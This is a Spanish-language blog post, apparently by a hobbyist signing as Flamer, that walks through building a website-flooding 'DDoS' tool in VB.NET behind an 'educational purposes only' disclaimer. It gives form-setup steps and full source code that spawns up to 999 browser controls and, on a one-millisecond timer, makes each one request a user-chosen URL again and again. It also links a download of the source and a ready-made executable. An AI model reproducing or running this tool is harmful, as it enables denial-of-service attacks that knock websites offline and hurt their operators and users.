AVISO: LO ES PUESTO EN ESTE DOCUMENTO SON CON FINES EDUCATIVOS...
YO NO ME HAGO RESPONSABLE POR EL MAL USO DE LA SIGUIENTE INFORMACIÓN...
En este tema anterior algo breve de como funciona un ataque ddos:
http://elblogdeflamer.blogspot.mx/2016/05/creacion-y-funcionamiento-de-un-ataque.html
Primeramente crearemos un formulario así como en la imagen
1- Ponemos 2 textbox al primero lo llamaremos url y al segundo num
2- Ponemos 4 label, sin cambiarles el nombre lo dejamos como están
3- Agregamos también un timer
4- y por ultimo ponemos 2 botones sin cambiarles el nombre
Ahora lo bueno el código y perdone si no explico el código pero es que no hay informático que no sea flojo jajaja
Imports System Imports System.Threading Public Class Form1 Dim x, c As Integer Dim web(999) As WebBrowser Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim n As Integer If url.Text = "" Or num.Text = "" Then MsgBox("Hay Campos Vacios", MsgBoxStyle.Exclamation, "") Else c = CInt(num.Text) - 1 url.Enabled = False num.Enabled = False x = 0 For n = 0 To c web(n) = New WebBrowser Next Timer1.Start() Button1.Enabled = False End If End Sub Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click Timer1.Stop() Button1.Enabled = True url.Enabled = True num.Enabled = True End Sub Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load Timer1.Interval = 1 End Sub Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick Atake() End Sub Sub Atake() Dim n As Integer For n = 0 To c web(n).ScriptErrorsSuppressed = False web(n).Navigate(url.Text) x = x + 1 Label1.Text = CStr(x) Next End Sub End Class
bueno algo breve, como dije en el tema anterior un ddos se realiza haciendo varias peticiones a un servidor y lo que hace este programa es pedirle o solicitar varias beses por segundo la pagina que ustedes pongan en el cuadro de texto y claro por el puerto 80, usando como herramienta el control WebBrowser con el comando Navigate.
sin tantos rodeos aquí el código fuentes y el ejecutable para los que no tengan el vb.net:
http://www.mediafire.com/download/9iv62muxdxt383m/Codigo_Del_Megalomax.rar
y otra cosa esta programado en vb.net 2010
saludos Flamer
No hay comentarios.:
Publicar un comentario